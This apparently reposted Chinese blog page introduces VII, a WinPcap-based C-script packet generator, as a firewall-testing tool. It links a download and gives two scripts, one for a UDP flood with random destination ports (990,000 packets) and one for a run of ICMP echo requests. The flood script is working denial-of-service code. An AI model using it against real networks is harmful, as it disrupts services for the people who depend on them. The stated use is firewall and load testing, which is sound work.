VII 在防火墙测试中应用

来源:互联网 发布:淘宝账号管理在那 编辑:程序博客网 时间:2024/04/30 01:43

简介

  VII is a c script based tool which can send any kinds of packets. It support random protocol/port/ip and so on and can practice as udp/tcp/.. flood/overlap attack tools.

download   http://sourceforge.net/projects/vii2010/

 

特点

 

1. 基于脚本

    采用通用的c语言编译器。

 

2. 基于winpcap

 

示例

这是一段发送UDP flood 攻击的脚本,每个UDP包源端口不变, ID也不变,目标端口随机。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <mytcp.h>


void agreeLicense(){};

void data(myDATA* d,int n){
unsigned char pkt6[] = {
0x00, 0x11, 0x43, 0x4c, 0x82, 0xad, 0x00, 0x0c,
0x29, 0x7a, 0xa3, 0x4f, 0x08, 0x00, 0x45, 0x00,
0x00, 0x1d, 0x00, 0x00, 0x40, 0x00, 0x40, 0x11,
0xbf, 0x57, 0x0a, 0x00, 0x33, 0x87, 0x0a, 0x00,
0x33, 0xf2, 0x80, 0x00, 0xdb, 0xf4, 0x00, 0x09,
0xf8, 0x6d, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 };

pktcpy(d,pkt6+42,sizeof(pkt6)-42);
}

void Eth(myET_HEADER* eth,int n){
//set dst mac
mac(eth->eh_dst,"00-0C-29-D2-9D-B4");
//set src mac
mac(eth->eh_src,"00-24-E8-32-95-81");
}

void IP(myIP_HEADER* iph,int n){
iph->sourceIP = inet_addr( "--.--.--.--" );
iph->destIP = inet_addr( "--.--.--.--" );
iph->total_len = 0x1d00;
iph->frag_and_flags = 0x0040;
iph->ident = 0;
iph->proto = 0x11;
iph->ttl = 64;
}

void UDP(myUDP_HEADER* uph,int n){
//int srcport = rand()*65535;
int dstport = rand()*65535;
uph->uh_sport = 11<<8|11>>8;
uph->uh_dport = dstport<<8|dstport>>8;
uph->uh_len = 0x0900;
//uph->uh_sum = 0;
}


int mymain(void){
readLicense();
void (*func)(int,int);
func=loadEngine("UDP2");
func(2,990000);
}


另一个示例,这个示例发送ICMP request请求; 通过抓包可以接收到ICMP reply
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <mytcp.h>


//if you are agree with license, add function "void agreeLicense(){};"
void agreeLicense(){};


void data(myDATA* d,int n){
unsigned char pkt6[] = {
0x08, 0x00, 0x4f, 0x50, 0x04, 0x00,
0xfa, 0x0b, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66,
0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e,
0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76,
0x77, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69 };

pktcpy(d,pkt6,sizeof(pkt6));
}

void Eth(myET_HEADER* eth,int n){
//set dst mac
mac(eth->eh_dst,"--.--.--.--");
//set src mac
mac(eth->eh_src,"--.--.--.--");
}

void IP(myIP_HEADER* iph,int n){
iph->sourceIP = inet_addr( "--.--.--.--" );
iph->destIP = inet_addr( "--.--.--.--" );
iph->proto = 0x01;
}


int mymain(void){
readLicense();
void (*func)(int,int);
func=loadEngine("IP2");
func(2,6000);
}
原创粉丝点击